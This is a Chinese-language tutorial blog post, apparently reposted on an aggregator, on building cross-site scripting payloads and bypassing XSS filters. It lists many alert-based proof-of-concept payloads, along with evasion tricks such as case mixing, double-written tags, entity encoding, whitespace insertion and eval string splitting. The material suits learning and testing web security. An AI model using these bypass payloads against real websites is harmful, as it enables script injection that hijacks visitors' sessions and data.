【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例

2023-11-13

1 XSS语句构造方式

由于xss攻击的是用户的浏览器,因此浏览器的类型及版本会影响到xss代码是否执行成功。

1.1 第一种:利用[<>]构造HTML/JS语句

可以利用[<>]构造HTML/JS语句,如

<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

1.2 第二种:利用javascript:伪协议

可以利用javascript:伪协议的方式构造XSS。

<a href="javascript:alert(/xss/)">touch me</a> 	//利用a标签的javascript:伪协议
<img src="javascript:alert(/xss/)" > 		//利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败

在这里插入图片描述

1.3 第三种:事件驱动

事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。关于js事件可以参考下《【JS基础-1】JavaScript语言简单介绍(语法、变量、数组、流程控制语句、函数、对象和事件)》。事件种类主要有以下几种。

  • Windows事件:对Windows对象触发的事件;
  • Form事件:HTML表单内的动作触发事件;
  • keyboard事件:键盘按键,onkeydown(当按下按键时触发)、onkeyup(当松开按键时触发)
  • Mouse事件:有鼠标或类似用户动作触发的事件,如ommouseover(鼠标悬停)、onclick(单击触发)
  • Media事件:由多媒体触发的事件,onerro(文档载入失败时触发)
<img src='./smile.jpg' onmouseover='alert(/xss/)'>	//该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'>		//onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'>				//与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)">		//单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">

在这里插入图片描述

1.4 第四种:利用CSS(层叠样式脚本)

利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。其中,CSS(层叠样式脚本)可以参考《【HTML基础-4】CSS样式详解》。

// 行内样式
<div style = "backgroud-image:url(javascript:alert(/xss/))">

//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>

//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
//其中xss.css文本内容如下
h1 {color:red;}
div{
	/*width:expression(alert(/xss/))*/
	backgroud-image:url(javascript:alert(/xss/))
}
@ expression
<div style="width:expression(alert(/xss/))">
<style>Body{backgroud-image:expression(alert(/xss/));}</style>
@import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>HELLO</div>

1.5 其他标签及手法

利用一些比较新的前端标签进行构造。

<svg onload="alert(/xss/)">svg是h5的标签,onload也是事件,提交即触发
<input onfocus=alert(xss/) autofocus>onfocus也为事件,聚焦(当光标放到目标)即触发

2 XSS语句变形及绕过

目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。

2.1 第一种:大小写混编

可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。

<Img sRc='#' Onerror="alert(/xss/)">						//由<img src='#' οnerrοr="alert(/xss/)">变形得到的
<A Href="javaScript:alert(/xss/)">touch me</a>	//由<a href="javascript:alert(/xss/)">touch me</a>变形得到的

在这里插入图片描述

2.2 第二种:双写绕过

当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。

<scr<script>ipt>alert(/xss/)</scr</script>ipt>

2.3 第三种:引号的使用

HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。

<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>

2.4 第四种:使用 [/] 代替空格

使用 [/] 代替空格,如:

<a/href="javascript:alert(/xss/)">touch me</a>
</src='#'/onerror='alert(/xss/)'>

在这里插入图片描述

2.5 第五种:在一些关键字内插入回车符与Tab符

在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。

<img src	='#' onerror='alert(/xss/)'>		//有时候tab符插在关键字内会失效。
<a href="ja	va	
script:alert(/xss/)">touch me</a>

在这里插入图片描述

2.6 第六种:编码绕过

编码绕过:可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。

  • 字符a,对应ASCII码97,十进制编码&#97;,十六进制编码&#x61;
  • 字符e,对应ASCII码101,十进制编码&#101;,十六进制编码&#x65;

另外,可以将以下字符插入到任意位置中:

  • Tab ==> &#9;
  • 换行 ==> &#10;
  • 回车 ==> &#13;

可以将以下字符插入到头部位置。

  • SOH ==> &#01;
  • STX ==> &#02;

转码后例子如下:

<a href="j&#97;v&#x61;script:alert(/xss/)">click me!</a>					//经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:laert(/xss/)">click me!</a>	//经过插入字符

2.7 第七种:拆分跨站

拆分跨站,将语句拆分成多个,拼串起来后再执行。若后台有对字符串长度对限制,则可用拆分跨站将一个比较长的shellcode拆成几部分。

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>		//ecal为执行函数,将后续的字符串当成语句执行。

2.8 第八种:CSS中的变形

CSS中的变形

width: expression(alert(/xss/)//使用全角字符
width:expre/**/ssion(alert(/xss/))								//注释会被浏览器忽略
<style>@import 'javas\cri\0pt:alert(/xss/)';</style>	//插入 \ 和 \0 符号

3 总结

(1)掌握XSS语句构造的4种方法;
(2)掌握XSS语句绕过的8种方法。

参考文章

[1] 《渗透中POC、EXP、Payload与Shellcode的区别
[2] 《【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例 的相关文章

  • 在Vi里面实现字符串的批量替换

    在Vi里面实现字符串的批量替换 在Vi里面实现字符串的批量替换 a 文件内全部替换 s abc def g 用def替换文件中所有的abc 例如把一个文本文件里面的 linuxidc com 全部替换成 linuxidc net s lin
  • 训练DPT:由测试test到训练train图像的一个epochs的optimize.zero_grad() loss.backward() optimizer.step()

    不知道大家有没有这样的感受 很多研究型论文通常会给出他们的test py文件 但是其train py文件往往是空白的 这时候感觉文章的test确实很nice 就想去探究其更原始 最优参数 训练出的参数过程 那么这里就不得不开始研究如何从te
  • ssm整合无法注入dao层

    spring整合mybatis 在部署项目时 一直报错 dao无法注入ioc容器 Error creating bean with name accountController Unsatisfied dependency expresse
  • 听说CentOS 8 已经成绝版了 ?难道就没有后续了么?很烦!

    一 CentOS 8 已是绝版 CentOS Stream 才是未来 CentOS 官方发文称 CentOS Stream 才是 CentOS 项目的未来 在接下来的一年里 将逐步把开发工作的重心从 CentOS Linux 往 CentO
  • Linux设置用户的密码有效期

    使用命令chage加参数可以查看 更改用户密码的有效期 1 查看用户密码有效期 chage l username 如下是永不会过期的类型 以下是90天有效期的类型 2 修改密码到期时间 通过参数 M 设置账户密码的到期时间 语法 chage
  • Lua里实现将table转成字符串(序列化)和将字符串转换回table(反序列化)

    file name table序列化和反序列化的问题 lua author Clark 陈泽丹 created 2011 12 22 备注 支持table的递归结构 但数据类型不支持function属性 因为function只是记录地址 在
  • 《GPU的革命》文章整理

    整理几年前写的文章 或许对初学CUDA编程的朋友有帮助 CUDA 线程执行模型分析 一 招兵 GPU的革命 CUDA 线程执行模型分析 二 大军未动粮草先行 GPU的革命 CUDA硬件实现分析 一 安营扎寨 GPU的革命 CUDA硬件实现分
  • 16个自动化测试面试问题与解答

    1 什么是自动化测试 自动化测试是一种使用自动化工具编写和执行测试人员测试脚本和案例的技术 自动化测试的主要目标是减少手动运行的测试用例数量 而不是完全取消手动测试 2 什么时候自动化测试 在以下情况下首选自动化 重复性任务 烟雾和理智测试
  • vue3项目修改浏览器的项目icon小图标

    修改vue3项目的浏览器的图标 vue2修改图标
  • AD每次更新PCB元器件位置会变动

    用AD画板 在重新更新元器件标识注视后 更新PCB后会出现某些器件移到了外面 把它摆放好以后 如果又对原理图中进行了改动 在更新PCB之后 刚才摆放好的元器件就又移到外面 另外 其它一些情况也会出现更新PCB位置变动的情况 下面是解决办法
  • 【matplotlib】可视化解决方案——如何向图表中添加数据表

    概述 虽然 matplotlib 主要用途是绘图 但是他还是可以在绘图时帮助我们做一些其他事务 比如在图表旁边放置一个整齐的数据表格 我们必须明白为数据绘制可视化图形主主要是是为了解释那些不能理解的数据 将一些来自数据整体集合的总结性或者突
  • Pytest框架:测试用例setup和teardown

    背景 假如我们进入多个模块前 每个模块有一个用例 都要打开浏览器登录 执行完毕后 需要退出再关闭浏览器 即每次运行前都要执行登录打开 退出关闭两个大量重复的操作 这些我们都可以用前置后置初始化环境去实现 怎么去实现 就是下面要介绍的 用例设
  • 【上新】手工制作马赛克瓷砖,为 Gotchiverse 添色彩!

    你无需成为艺术家即可帮助一起绘制 Gotchiverse 现在 每个人都可以用马赛克瓷砖让他们的创造力得到发挥 让我们在 Gotchiverse 中涂抹色彩吧 最新和最伟大的美学 NFT 已准备好冲击 Gotchiverse 了 介绍一下马

随机推荐

  • 显示this application has requested the runtime to terminate it in an unusual way.问题的简单分析

    运行程序是出现了this application has requested the runtime to terminate it in an unusual way 的异常报告 有些Win7的操作系统可能会出现此类问题 一般是软件运行时
  • LeetCode第45题解析

    给定一个非负整数数组 你最初位于数组的第一个位置 数组中的每个元素代表你在该位置可以跳跃的最大长度 你的目标是使用最少的跳跃次数到达数组的最后一个位置 示例 输入 2 3 1 1 4 输出 2 解释 跳到最后一个位置的最小跳跃数是 2 从下
  • [Java基础系列第2弹]泛型:一种提高代码复用性和灵活性的技术

    一 什么是泛型 泛型 Generics 是一种编程技术 它可以让我们在定义类 接口或方法时 使用一个或多个类型参数 Type Parameter 而不是具体的类型 这样 我们就可以在实例化或调用时 根据需要指定具体的类型 从而实现代码的复用
  • Snipaste使用手册

    功能 截屏 贴图和做笔记 使用场景举例 1 双桌面 一个是学习视频 一个是代码编辑器 截取学习视频的代码图片贴到桌面上 边看边在编辑器中敲代码 2 获取像素颜色值 3 在截屏上做笔记 and so on 常用快捷键 自定义快捷键 F1 截屏
  • CentOS 静态IP分配,提示Error, some other host already uses address解决办法

    CentOS 静态IP分配 提示Error some other host already uses address解决办法 一 第一 修改 ifup ethvi etc sysconfig network scripts ifup eth
  • 使用 Velero 备份还原 Kubernetes 集群

    Velero https velero io 可以提供备份和还原 Kubernetes 集群资源和持久卷的能力 你可以在公有云或本地搭建的私有云环境安装 Velero 可以为你提供以下能力 备份集群数据 并在集群故障的情况下进行还原 将集群
  • Nginx平滑升级记录

    因为扫描到了Nginx漏洞 所以需要对Nginx升级 同时不影响原来的nginx配置 旧版本为 nginx 1 18 0 扫描到3个漏洞 NGINX Controller 安全漏洞 CVE 2021 23017 nginx 内存损坏漏洞 C
  • models问题汇总

    1 在不卸载模块的情况下 删除model表 如想删除下表 第一步 先删除全部表属性 升级模块 第二步 再删除表及在ir model access csv中分配给ogsp phone表的权限 最后升级模块
  • Ant Design Pro从零到一(Mock使用)

    认识Mock 学到这里就算是开始踏入AntD的门 然后我们还得学习一下常用的一些操作 例如Mock 针对与Mock他大致就是用来模拟数据的 为什么会有它的出现呢 因为现在前后端开发基本是分离的 但是数据结构一般都会先定好 在日常开发中 为了
  • JavaScript在IE和Firefox下的兼容性问题

    一 问题1 获取一个元素对象的引用 在IE下 可直接使用该元素对象的id名 而在FireFox下 只能使用getElementById idName 方法 解决方法 统一用getElementById idName 问题2 获取表单元素的引
  • 你是否知道编程对孩子有多重要

    编程在大多数人的认知里都是程序员的工作 繁琐 工作强度大 理工科等 这些都是对于编程的标签 似乎与我们普通人的生活很远 你知道编程对孩子未来有多重要吗 格物斯坦小坦克来做分析 在未来编程将成为学生基础必备技能 普及程度和英语一样 我们对编程
  • jdbc手动控制事务

    在JavaBean数据库操作中 一项事务是指由一条或多条对数据库更新的sql语句所组成的一个不可分割的工作单元 只有当事务中的所有操作都正常完成了 整个事务才能被提交到数据库 如果有一项操作没有完成 就必须撤消整个事务 我们通过提交comm
  • 【MySQL】不就是多表查询综合练习

    前言 嗨咯大家好 我们学习完毕了多表查询 今天我们就要对我们所学的成果进行测验 本期主要是对多表查询相关内容的练习课程 可以先试着自己敲 遇到不会可以查看查考代码 目录 前言 目录 练习题 1 查询员工的姓名 年龄 职位 部门信息 隐式内连
  • 自学笔记-Python基础09--第三方库的概念及操作

    库 具有相关功能模块的集合 python的一大特色就是拥有强大的库 库可以分为三种 1 标准库 python自带的 无需安装直接使用 2 第三方库 由他人提供的 使用时需要先安装 3 自定义库 自己写的模块 自己用 标准库 想看python
  • react hooks 和 react-redux hooks 应用场景

    目前 Hooks 应该是 React 中最火的概念了 在阅读这篇文章之前 希望你已经了解了基本的 Hooks 是什么 下面就介绍一下简单的使用场景 react hooks useState useState是react自带的一个hook函数
  • 关于Spring的bean的相关注解以及其简单使用方法

    一 前置工作 第一步 创建一个maven项目 第二步 在resource中创建一个名字叫做spring config xml的文件 并把以下代码复制粘贴
  • 06——qt opengl 立方体 ebo 贴图

    qmyopenglwidget h ifndef QMYOPENGLWIDGET H define QMYOPENGLWIDGET H include
  • java中的泛型

    泛型 分为三种分别是泛型类 泛型方法 泛型接口 一 泛型类 直接在类名后面加上
  • 用C++流的方式读写文件

    一 代码 include
  • 【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例

    目录 1 XSS语句构造方式 1 1 第一种 利用 lt gt 构造HTML JS语句 1 2 第二种 利用javascript 伪协议 1 3 第三种 事件驱动 1 4 第四种 利用CSS 层叠样式脚本 1 5 其他标签及手法 2 XSS